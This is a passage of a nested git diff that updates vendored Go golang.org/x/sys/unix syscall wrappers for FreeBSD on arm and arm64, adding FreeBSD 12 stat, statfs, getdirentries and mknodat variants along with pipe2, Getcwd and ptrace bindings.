-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go
-index 2b4e6acf..31d2c461 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -arm -tags freebsd,arm syscall_bsd.go syscall_freebsd.go syscall_freebsd_arm.go
-+// go run mksyscall.go -l32 -arm -tags freebsd,arm syscall_bsd.go syscall_freebsd.go syscall_freebsd_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build freebsd,arm
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,41 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +403,16 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm64.go
-similarity index 90%
-copy from vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm64.go
-index ac1e8e01..4adaaa56 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
-+// go run mksyscall.go -tags freebsd,arm64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build freebsd,amd64
-+// +build freebsd,arm64
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,25 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +387,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
